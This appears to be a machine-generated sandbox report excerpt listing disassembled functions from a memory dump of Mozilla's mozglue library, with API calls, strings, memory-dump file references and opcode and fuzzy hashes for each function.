API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: e85a125eca344988a789748d39649748eb56f54624cf086519c45077b0b5a3a6
Instruction ID: 778ac0424efc2c184f9cf4d152fd8beb73a8cb29c4d2ddf13372aeb212a43488
Opcode Fuzzy Hash: e85a125eca344988a789748d39649748eb56f54624cf086519c45077b0b5a3a6
Instruction Fuzzy Hash: 6A41D132B05A168FDB48CE7C8D9036AB6B4EB49B14F650139E918F7784D7A1AD808BD1

Function 6C954DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C954E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C954E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C954EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C954F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C954F1E

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: bb14178c740c82bfc4c468047a3b685c75b069f3137399ea0622dc03361bfba7
Instruction ID: b1df8f9db74fa726fa3717e1108051fe95a492a82b2905c21d5392e83629f895
Opcode Fuzzy Hash: bb14178c740c82bfc4c468047a3b685c75b069f3137399ea0622dc03361bfba7
Instruction Fuzzy Hash: 7641DE716087019FC745CF29C88095BBBE8BF99344F508A2DF86697B41DB31E978CB92

Function 6C961530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C96152B,?,?,?,?,6C961248,?), ref: 6C96159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C96152B,?,?,?,?,6C961248,?), ref: 6C9615BC
moz_xmalloc.MOZGLUE(-00000001,?,6C96152B,?,?,?,?,6C961248,?), ref: 6C9615E7
free.MOZGLUE(?,?,?,?,?,?,6C96152B,?,?,?,?,6C961248,?), ref: 6C961606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C96152B,?,?,?,?,6C961248,?), ref: 6C961637

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 31e365f89d59d7e06a2cb2fd489cb08d7e5c9c7207f9e57073af560ffe06ab28
Instruction ID: 4bae577ba2892f03bb6f1278af77a25595c102d96fd1185dc0671bae05ec1676
Opcode Fuzzy Hash: 31e365f89d59d7e06a2cb2fd489cb08d7e5c9c7207f9e57073af560ffe06ab28
Instruction Fuzzy Hash: 0231E872A001159BEB188E7DD85147EB7A9FB923647280B2DE423DBFD4EB30D9148792

Function 6C9BAD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C9CE330,?,6C97C059), ref: 6C9BAD9D

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C9CE330,?,6C97C059), ref: 6C9BADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C9CE330,?,6C97C059), ref: 6C9BAE01
GetLastError.KERNEL32(?,00000000,?,?,6C9CE330,?,6C97C059), ref: 6C9BAE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C9CE330,?,6C97C059), ref: 6C9BAE3D

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: c41c7545e6ad78a29c8c240b861578057259ab3b6d5a151d29e0d6efaccf09a8
Instruction ID: 5fe8a1f7c2f34ded7ed99f90654e1aab18f07058040ac8ae15c4fa3918aafc08
Opcode Fuzzy Hash: c41c7545e6ad78a29c8c240b861578057259ab3b6d5a151d29e0d6efaccf09a8
Instruction Fuzzy Hash: 5F3178B1A003159FDB10DF798C44AABBBF8EF54614F15442DE84AE7700EB34E804C7A1

Function 6C9B5EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6C9CDCA0,?,?,?,6C98E8B5,00000000), ref: 6C9B5F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C98E8B5,00000000), ref: 6C9B5F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6C98E8B5,00000000), ref: 6C9B5F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6C98E8B5,00000000), ref: 6C9B5F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C98E8B5,00000000), ref: 6C9B5FD6

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: fcbc820f70b3d1a8ecb501618f2d77282b7f1c3dec8537d95c2cebb0234e5409
Instruction ID: 36213f6c55c68a64e303c5cca6067d25d09c6f77d203819cb7b0d3ea1bc6053c
Opcode Fuzzy Hash: fcbc820f70b3d1a8ecb501618f2d77282b7f1c3dec8537d95c2cebb0234e5409
Instruction Fuzzy Hash: C6311834304A009FD711CF29C898F2AB7FAFF89319B648558E5569BB95CB31EC51CB80

Function 6C95B4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C95B532
moz_xmalloc.MOZGLUE(?), ref: 6C95B55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C95B56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C95B57E
free.MOZGLUE(00000000), ref: 6C95B58F

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: ff028db9acb863e20a2d735a66a1351bfdc2a4d5dd39a3cbbe7ca98f870984e9
Instruction ID: c0755dc0d183aa198474801ff678510929a968518e5b9a5eb8147a49fd1ad7e1
Opcode Fuzzy Hash: ff028db9acb863e20a2d735a66a1351bfdc2a4d5dd39a3cbbe7ca98f870984e9
Instruction Fuzzy Hash: CD210771A042059BDB00CF68CC40BAEBBB9FF56304F684129E818DB345E735D962C7A1

Function 6C95B7A0 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C95B7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C95B808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C95B82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C95B840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C95B849

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID:
API String ID: 1977084945-0
Opcode ID: b29def7535a6821acf77f380aa1737859e9b3ee3411f9f72636b0ab7170f68c2
Instruction ID: de1d3826493bb016507ba8d912d73f47dc5a9a88fed1e611f49e3c45aea7d5b2
Opcode Fuzzy Hash: b29def7535a6821acf77f380aa1737859e9b3ee3411f9f72636b0ab7170f68c2
Instruction Fuzzy Hash: 2D215AB0E002099FDF04DFA9D8855BEBBB8EF59314F148169ED06B7740E731A994CBA1

Function 6C9B6E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C9B6E78

Part of subcall function 6C9B6A10: InitializeCriticalSection.KERNEL32(6C9DF618), ref: 6C9B6A68
Part of subcall function 6C9B6A10: GetCurrentProcess.KERNEL32 ref: 6C9B6A7D
Part of subcall function 6C9B6A10: GetCurrentProcess.KERNEL32 ref: 6C9B6AA1
Part of subcall function 6C9B6A10: EnterCriticalSection.KERNEL32(6C9DF618), ref: 6C9B6AAE
Part of subcall function 6C9B6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C9B6AE1
Part of subcall function 6C9B6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C9B6B15
Part of subcall function 6C9B6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C9B6B65
Part of subcall function 6C9B6A10: LeaveCriticalSection.KERNEL32(6C9DF618,?,?), ref: 6C9B6B83

MozFormatCodeAddress.MOZGLUE ref: 6C9B6EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C9B6EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C9B6EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6C9B6EFF

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: 99dc678e53562e8d79dc6ec59860ab1c62aebc59d92903a349eaaeecc0eefe5d
Instruction ID: 462b598efc7c78d826c711d62852a99d19e631cb13f0d92ce9c7d8a9f0b78ed3
Opcode Fuzzy Hash: 99dc678e53562e8d79dc6ec59860ab1c62aebc59d92903a349eaaeecc0eefe5d
Instruction Fuzzy Hash: CE21A471A042199FDF04DF69D88569F77F9EF88308F044439E909A7241DB70AA58CF92

Function 6C9B76C0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6C9B76F2
moz_xmalloc.MOZGLUE(00000001), ref: 6C9B7705

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C9B7717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6C9B778F,00000000,00000000,00000000,00000000), ref: 6C9B7731
free.MOZGLUE(00000000), ref: 6C9B7760

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 2538299546-0
Opcode ID: a010a5dff262a2ec6c4ba7e4218f7b97598254833af0beea5fbb7265af5c81c6
Instruction ID: 5c84674e65c9da30f06616976f04f23dacb155ec28ed4ae7cf1dd680d1664a06
Opcode Fuzzy Hash: a010a5dff262a2ec6c4ba7e4218f7b97598254833af0beea5fbb7265af5c81c6
Instruction Fuzzy Hash: E61190B19052156BE710AF6A8C44AABBEE8EF55754F144529F848A7200E770985087F2

Function 6C990D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C953DEF), ref: 6C990D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C953DEF), ref: 6C990D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C953DEF), ref: 6C990DAF

Strings

<jemalloc>, xrefs: 6C990D92, 6C990DB9
: (malloc) Error in VirtualFree(), xrefs: 6C990D97, 6C990DBE

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 5f53c06ca7513f696dc887395e69eb746b29cdef277021764393462c7597fde3
Instruction ID: 2b1f68d59da961b7faabf52478f1b7f1a97d975c75ec0d4da8d7c678271cad7b
Opcode Fuzzy Hash: 5f53c06ca7513f696dc887395e69eb746b29cdef277021764393462c7597fde3
Instruction Fuzzy Hash: F4F02E31384B9423E720226B0C0AF5A266EA7C7F25F399035F764FE9C0DA50F4404AA6

Function 6C9A7620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6C9A75C4,?), ref: 6C9A762B

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6C9A74D7,6C9B15FC,?,?,?), ref: 6C9A7644
GetCurrentThreadId.KERNEL32 ref: 6C9A765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C9A74D7,6C9B15FC,?,?,?), ref: 6C9A7663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C9A74D7,6C9B15FC,?,?,?), ref: 6C9A7677

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: 76ab2ef8ce3988ff52b44eae467c489ed848e8d3c4475d0dd79d491e7a832516
Instruction ID: 9bcb35e8034d11b8f8f303c57543403b77d41cd5fe5212095cc725854529d9e4
Opcode Fuzzy Hash: 76ab2ef8ce3988ff52b44eae467c489ed848e8d3c4475d0dd79d491e7a832516
Instruction Fuzzy Hash: 14F0C871E14786ABD7008F21C848675B778FFEA259F21431AF90553601E7B0B5D087D0

Function 6C9B1700 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C9B1800

Part of subcall function 6C98CBE8: GetCurrentProcess.KERNEL32(?,6C9531A7), ref: 6C98CBF1
Part of subcall function 6C98CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9531A7), ref: 6C98CBFA

Part of subcall function 6C954290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C993EBD,6C993EBD,00000000), ref: 6C9542A9

Strings

name, xrefs: 6C9B1939
{marker.name} - {marker.data.name}, xrefs: 6C9B18C7
Details, xrefs: 6C9B1925

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-1733325692
Opcode ID: 4231e0a11399b0c4c4868549376d3a8248ead0c0779888b87e3bcf2687763d52
Instruction ID: 1de2c175628950b3e8329f3e1e164063d893c19d0b58e369796bb8960a16bb0a
Opcode Fuzzy Hash: 4231e0a11399b0c4c4868549376d3a8248ead0c0779888b87e3bcf2687763d52
Instruction Fuzzy Hash: E171F370A00746AFDB04CF28D4547AABBB1FF96304F144669D8156BB41D770F6A8CBE2

Function 6C9BB0C0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 188COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,6C9BB0A6,6C9BB0A6,?,6C9BAF67,?,00000010,?,6C9BAF67,?,00000010,00000000,?,?,6C9BAB1F), ref: 6C9BB1F2
?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,6C9BB0A6,6C9BB0A6,?,6C9BAF67,?,00000010,?,6C9BAF67,?,00000010,00000000,?), ref: 6C9BB1FF
free.MOZGLUE(?,?,?,map/set<T> too long,?,?,6C9BB0A6,6C9BB0A6,?,6C9BAF67,?,00000010,?,6C9BAF67,?,00000010), ref: 6C9BB25F

Strings

map/set<T> too long, xrefs: 6C9BB1FA

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: free$Xlength_error@std@@
String ID: map/set<T> too long
API String ID: 1922495194-1285458680
Opcode ID: 4e0aefa0776b7e292eb929419ec296662936d41e262a54c020957fd4fa223757
Instruction ID: 4a4603a7d1e5e7d7421034512c898cbe4ec187cd7a755dd276200a9e6f48cd4c
Opcode Fuzzy Hash: 4e0aefa0776b7e292eb929419ec296662936d41e262a54c020957fd4fa223757
Instruction Fuzzy Hash: 16619B34A04645AFD701CF19C8C0AAABBF5FF5A318F18C199D8596BB92C331ED45CBA1

Function 6C97D468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C98CBE8: GetCurrentProcess.KERNEL32(?,6C9531A7), ref: 6C98CBF1
Part of subcall function 6C98CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9531A7), ref: 6C98CBFA

EnterCriticalSection.KERNEL32(6C9DE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C98D1C5), ref: 6C97D4F2
LeaveCriticalSection.KERNEL32(6C9DE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C98D1C5), ref: 6C97D50B

Part of subcall function 6C95CFE0: EnterCriticalSection.KERNEL32(6C9DE784), ref: 6C95CFF6
Part of subcall function 6C95CFE0: LeaveCriticalSection.KERNEL32(6C9DE784), ref: 6C95D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C98D1C5), ref: 6C97D52E
EnterCriticalSection.KERNEL32(6C9DE7DC), ref: 6C97D690
LeaveCriticalSection.KERNEL32(6C9DE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C98D1C5), ref: 6C97D751

Strings

MOZ_CRASH(), xrefs: 6C97D4BB

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 0b7aa2efba07af118b59c0234a96f7df558bdb328f82750e82ae65621693f3d9
Instruction ID: f9f543cec5f736f840e44c4afaa4b3c93be4990638b3fcf7df3b732be643161b
Opcode Fuzzy Hash: 0b7aa2efba07af118b59c0234a96f7df558bdb328f82750e82ae65621693f3d9
Instruction Fuzzy Hash: 3251E472A09B018FD364CF28C49461AB7F5EF89704F658A2ED59AD7F84D770E840CBA1

Function 6C9A4630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C9A4721

Strings

profiler-paused, xrefs: 6C9A46E4
-%llu, xrefs: 6C9A4733
., xrefs: 6C9A476A

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: 7d1a4bc01b6cbc658f199ac67f253fe15ef784f79cf080546d57d987c6a64946
Instruction ID: 67011499d8f742636df381e94102677f708fd7904b0e273f046bf3f9743fba7a
Opcode Fuzzy Hash: 7d1a4bc01b6cbc658f199ac67f253fe15ef784f79cf080546d57d987c6a64946
Instruction Fuzzy Hash: E8415972E087089BCB08DFB8D85115EBBF5EF95748F20863EE85567B91EB30D8458B42

Function 6C9C9830 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C9C985D
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C9C987D
MOZ_CrashPrintf.MOZGLUE(ElementAt(aIndex = %zu, aLength = %zu),?,?), ref: 6C9C98DE

Strings

ElementAt(aIndex = %zu, aLength = %zu), xrefs: 6C9C98D9

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: Printf$Target@mozilla@@$?vprint@Crash
String ID: ElementAt(aIndex = %zu, aLength = %zu)
API String ID: 1778083764-3290996778
Opcode ID: 40dd1b8b40d3e8ede8825237144d63a6a122664f827e3f8db5bd0293336436b1
Instruction ID: 2cf4ae1a34839c51d96f1ec3af381cdd371011078c8e76c7a7e0d3eb52ce9f3d
Opcode Fuzzy Hash: 40dd1b8b40d3e8ede8825237144d63a6a122664f827e3f8db5bd0293336436b1
